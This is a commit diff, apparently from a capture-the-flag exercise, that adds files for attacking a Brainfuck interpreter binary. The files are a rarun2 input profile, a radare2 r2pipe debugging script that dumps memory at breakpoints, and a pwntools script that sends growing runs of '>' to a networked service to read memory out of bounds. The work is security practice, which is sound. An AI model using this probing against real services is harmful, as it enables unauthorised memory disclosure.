File tree Expand file tree Collapse file tree 4 files changed +44
-0
lines changed Expand file tree Collapse file tree 4 files changed +44
-0
lines changed Original file line number Diff line number Diff line change 1+ #!/usr/bin/rarun2
2+ program=./bf
3+ stdin=">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>."
4+ stdout=
Original file line number Diff line number Diff line change 1+ import r2pipe
2+
3+ r = r2pipe .open ("./bf" )
4+ r .cmd ('e dbg.profile=bf.rr2' )
5+ r .cmd ('doo' ) # initially you are debugging rarun2
6+ r .cmd ('db 0x08048703' )
7+ r .cmd ('dc' )
8+ print r .cmd ('drj' )
9+ def step ():
10+ r .cmd ('ds' )
11+ r .cmd ('sr rip' )
12+ while True :
13+ disass = []
14+ while True :
15+ instruction = r .cmdj ('pdj 1' )[0 ]
16+ if r .cmdj ('drj' )['eip' ] == 0x08048816 :
17+ hexvalue = r .cmdj ('drj' )['eax' ] #stack memory address for '>'
18+ disass .append (r .cmdj ('pxj 1 @%s' % hex (hexvalue )))
19+ print (chr (27 ) + "[0;33m" + "[+] Memory address: " + hex (hexvalue )+ chr (27 ) + "[0m" )
20+ print (r .cmdj ('pxj 1 @%s' % hex (hexvalue )))
21+ print ("Lenght" + str (len (disass ))) #Lenght
22+ elif r .cmdj ('drj' )['eip' ] == 0x08048864 :
23+ hexvalue = r .cmdj ('drj' )['eax' ] #stack memory address for '.'
24+ disass .append (r .cmdj ('pxj 1 @%s' % hex (hexvalue )))
25+ print (chr (27 ) + "[0;33m" + "[+] Memory address: " + hex (hexvalue )+ chr (27 ) + "[0m" )
26+ print (r .cmdj ('pxj 1 @%s' % hex (hexvalue )))
27+ print ("Lenght" + str (len (disass ))) #Lenght
28+ elif r .cmdj ('drj' )['eax' ] == 0x080489cb :
29+ print (r .cmd ('drj' )) #Info registers
30+ print (r .cmd ('px@esp' ))
31+ step ()
32+
Original file line number Diff line number Diff line change 1+ from pwn import *
2+ while True :
3+ for x in range (1 ,100 ):
4+ p = remote ("192.168.1.86" , 1234 )
5+ p .recvuntil ("FOR:" )
6+ payload = ">" * x + "." + "\n "
7+ p .send (payload )
8+ print ("Try: " + str (x )+ "--> " + p .recvline ())
You can’t perform that action at this time.
0 commit comments